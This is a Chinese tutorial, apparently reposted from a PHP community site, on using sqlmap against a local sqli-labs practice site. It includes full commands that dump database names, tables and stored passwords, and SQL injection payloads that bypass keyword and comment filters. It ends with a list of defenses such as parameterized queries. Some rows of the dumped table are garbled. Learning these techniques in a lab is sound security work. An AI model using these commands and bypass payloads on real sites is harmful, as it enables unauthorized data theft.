首頁  >  文章  >  運維  >  如何分析SQLMap與SQLi注入防禦

如何分析SQLMap與SQLi注入防禦

WBOY
WBOY轉載
2023-05-11 18:37:061042瀏覽

第一部分:Sqlmap使用

1.1 sqlmap介紹

1. 前邊說了一些sql注入的基礎語句,但是手工注入很麻煩,我們可以藉助sqlmap這個強大的sql注入工具,進行資料的取得.

2.sqlmap 介紹

(1)#sqlmap是一種開源的滲透測試工具,可以自動偵測並利用SQL注入漏洞以及
接入該資料庫的伺服器。它擁有非常強大的檢測引擎、具有多種特性的滲透測試器、透過資料庫指紋提取存取底層檔案系統並透過外帶連接執行命令。

官方網站: sqlmap.org 

如何分析SQLMap與SQLi注入防禦

(2)#支援的資料庫:
MySQL,Oracle, PostgreSQL, Microsoft SQL Server, Microsoft
Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

(3)#支援多種注入方式

#UNION query SQL injection(可聯合查詢注入)
#Error-based SQL injection(報錯型注入)
# Boolean-based blind SQL injection(布林型注入)
#Time-based blind SQL injection(基於時間延遲注入)
#Stacked queries SQL injection(可多語句查詢注入)

1.2 sqlmap安裝與環境搭建

1.sqlmap安裝主要步驟

   (1)安裝python環境--->sqlmap需要python環境

     python下載位址: https:/ /www.python.org/downloads/release/python-2715/)

如何分析SQLMap與SQLi注入防禦

   sqlmap跟Python2.X版本相容比較好.(python的安裝步驟直接下一步即可,需要修改的就是sqlmap的安裝路徑,這裡改成了C:\Users\Administrator\python,為了直接命令列可以進入sqlmap目錄更方便操作)

   (2)Python安裝不要安裝到中文路徑下,並把Python加入環境變數.

   如何分析SQLMap與SQLi注入防禦

如何分析SQLMap與SQLi注入防禦

  (3)下載並安裝sqlmap,修改安裝目錄為C :\Users\Administrator\sqlmap

   (4)測試python環境:  進入cmd命令列,輸入python,如下提示則安裝成功

   C:\Users\ Administrator>python
   Python 2.7.16 (v2.7.16:413a49145e, Mar  4 2019, 01:37:19) [MSC v.1500 64 2019, 01:37:19) [MSC v.1500 6445bit] on win32
   Type "help", "copyright", "credits" or "license" for more information.

    >>> exit();   

##   (5); sqlmap測試:  進入cmd指令列,輸入sqlmap.py  -h (注意路徑)

  C:\Users\Administrator\sqlmap>

sqlmap.py  -h   #查看幫助資訊

如何分析SQLMap與SQLi注入防禦

1.3 sqlmap常用參數

#(1)取得庫名,列名,權限

  • --dbs   #取得所有資料庫

  • --dbms   mysql  #指定資料庫類型

  • --users   #所有資料庫使用者(資料庫本機使用者名稱)

  • --passwords  #取得資料庫密碼,(有權限才能讀取)

  • --technique  #指定使用哪一個注入型別

  • --current-db #目前資料庫

  • #--banner       #取得資料庫識別

  • ##-D database_name --tables    #-D用於指定資料,--tables取得某個庫下的表

  • -D database_name -T table_name --columns #-T指定表名,--columns取得列欄位

  • -D database_name -T table_name -C column_1,column_2 --dump

                    #-C指定字段名,-   -dump顯示結果

  • --users   #列資料庫管理使用者,目前使用者有權限讀取包含所有使用者的資料表的權限時,就可以列出所有管理使用者。

  • --current-user  #在大多數資料庫中可以取得管理資料的使用者。

  • --is-dba       #判斷目前的使用者是否為管理,是的話會回到True。

  • --privileges   #當使用者有權限讀取包含所有使用者的表的權限時,很可能列舉出每個使用者的權限,sqlmap將會告訴你哪個是資料庫的超管理員。也可以用-U參  數指定你想看那個使用者的權限。

  • --proxy   #指定一個代理伺服器eg: –proxy http://local:8080

#(2)指定前後綴:

  • #sqlmap不能偵測很多的干擾字元,閉合時可以手工指定前綴和後綴

  • select * from users where id=((('1 '))) 與 1=1

  • #--prefix=PREFIX 注入payload字串前綴

  • –suffix=SUFFIX  注入payload字串後綴
    eg:sqlmap -u “www.target.com/index.php?id=1” -p id --prefix “'))”
    --suffix “AND ('1'= '1”

#(3)匯出結果:

  • sqlmap -u “www.a.com/ 1.php?id=1” --file-write=”d:/1.txt”

  • #--file-dest=”E:/wwwroot/web/one. php“

  • --batch 全自動

  • #--start=開始條數--stop=結束條數

  • --dump 匯出資料

  • --dump-all 匯出所有資料

  • --purge-output/ --purge  清空快取目錄

  • --sql-shell 反彈sqlshell,類似sql查詢分析器 預設路徑.sqlmap (點sqlmap)

#1.4 sqlmap實戰範例

#Less-1--Less65通用語句(這幾句是最常用的幾個參數,必會型)

##(1)取得所有函式庫名稱
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -- dbs --dbms=mysql --batch

#解析:

-u 後加url,表示測試的url

--dbs表示取得所有資料庫

--dbms表示指定資料庫類型為mysql

--batch表示自動取得

-D  security --tables 表示取得指定資料庫為security 的資料表名

-D  security -T  users --columns 表示取得指定資料庫為security裡users表中的列名

-D security -T users -C username,password --dump  #取得security程式庫,users表中username和password欄位的資料資訊,--dump表示顯示結果

#結果:##[*] challenges
[*] dvwa
[*] information_schema
[*] mysql
[*] owasp
[*] performance_schema
[*] security
[*] test

##(2)取得目前函式庫名稱C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --current -db --batch

#結果:current database:    'security'

#(3)取得目前表名C :\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security --tables --batch

##結果:Database: security
[4 tables]
----------
| emails   |
| referers |
| uagents  |
| users    |
----------


##(4)取得目前欄位名稱C:\Users\Administrator \sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security -T users --columns  --batch

#結果: Database: security
Table: users
[3 columns]
---------- -------------
| Column   | Type        |
---------- -------------
| id       | int(3)      |
#| password | varchar (20) |
| username | varchar(20) |
---------- -------------

# #(5)取得users表中username和password內容C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security -T users -C username,password --dump  --batch

#結果:Database: security
Table: users
[13 entries ]
---------- ------------
| username | password   |
---------- --- ---------
| Dumb     | Dumb       |
| Angelina | I-kill-you |
| Dummy    | p@ssword   |
| secure   | crappy   |  |##    |##  |  |## | stupid   | stupidity  |
| superman | genious    |
| batman   | mob!le     |
| admin    | admin   ad   |
| admin    | admin   ad   |
| min1   | admin   ad 1 21一樣 |    |
| admin3   | admin3     |
| dhakkan  | dumbo      |
| admin4   | admin4     |
---------- ------------

#第二部分:sqli注入之waf繞過

2.1 SQL注入之waf繞過方法介紹

說明:這裡僅舉例說明繞過方式,實際場景則更加複雜. 多種繞過方式可以混合使用,還可以進行編碼.

1.前邊知道了sql注入的方式後,如何才能防止sql注入呢?

    #(1)過濾註解符
  • #(2)過濾and或or
  • #(3)過濾select或union
  • #(4)過濾黑名單
  • #2.過濾了and/or繞過方式有哪些?

    ##(1)mysql中大小寫不敏感,都可以正確執行;===>使用大小寫變形
  • #(2)mysql支援十六進位,用16進位或用URL編碼;

  • #(3)用符號取代單字  = ==>符號繞過and(&&)  or(||)

  • ##(4)內嵌註解和多行註釋===>在敏感詞彙中加入註釋a/**/nd   雙寫繞過oORr

3.當然還有其他方法,我們以這幾種過濾方式為例,來說說如何繞過.

真實場景中有waf裝置,waf其實也是透過過濾一些關鍵字來防止sql注入的.

2.2 sql注入之繞過waf實驗

1.過濾了註解符號(Less- 23為例)

#(1)過濾註解符號的原因:對於正常的SQL語句中,註解符起到說明作用的功能。但對於利用SQL注入漏洞過程中,註解符號起到閉合 單引號、多單引號、雙引號、單括號、多括號的功能。
單行註解:  -- 或 --空格  或
#多行註解: /* 多行註解內容*/

#(2)過濾函數preg_replace
preg_replace(mixed $pattern , mixed $replacement , mixed $subject):執行一個正規表示式的搜尋和替換。
$pattern: 要搜尋的模式,可以是字串或一個字串陣列
$replacement: 用來替換的字串或字串陣列。
$subject: 要搜尋已取代的目標字串或字串陣列。

如何分析SQLMap與SQLi注入防禦

#(3)繞過註解符號:
利用註解子過濾不能成功閉合單引號等,換一個思路利用or '1'='1閉合單引號等。
http://127.0.0.1/sqli/Less-23/?id=-1' union select 1,database(),'3

如何分析SQLMap與SQLi注入防禦

2.過濾了and或or應該如何繞過?(Less-25為例)

(1)源碼分析:可以看到把or或and替換為了空

如何分析SQLMap與SQLi注入防禦

(2)操作步驟

如何分析SQLMap與SQLi注入防禦如何分析SQLMap與SQLi注入防禦如何分析SQLMap與SQLi注入防禦

3.過濾了空格應該如何繞過?(Less-26為例)

(1)用 來充當空格

如何分析SQLMap與SQLi注入防禦

4.過濾了select/union該如何繞過?(Less-27為例)

如何分析SQLMap與SQLi注入防禦如何分析SQLMap與SQLi注入防禦如何分析SQLMap與SQLi注入防禦

如何分析SQLMap與SQLi注入防禦如何分析SQLMap與SQLi注入防禦

第三部分:sqli注入防禦

3.1 sql注入防禦方法

1.常用防護措施:

#(1)、關閉錯誤提示: PHP設定檔php.ini中的display_errors=Off
#(2)、魔術引號(與addslashes的效果相同):當php.ini裡的magic_quotes_gpc=On時。提交的變數中所有的單引號(')、雙引號(”)、反斜線(\)與NUL(NULL 字元)會自動轉為含有反斜線的轉義字元
#(3)、對資料進行過濾:例如過濾掉and/or/union等常用關鍵字
#(4)、控制連接資料庫的使用者權限:每個庫針對單一庫設定一個管理員,不要用root權限.
#(5)、預處理和參數化(PDO):處理用戶傳入的參數,返回布林值,不是單純的對資料進行"拼接",從而避免sql注入.
#(6)、硬件防護措施(WAF等硬體)

以上是如何分析SQLMap與SQLi注入防禦的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:yisu.com。如有侵權,請聯絡admin@php.cn刪除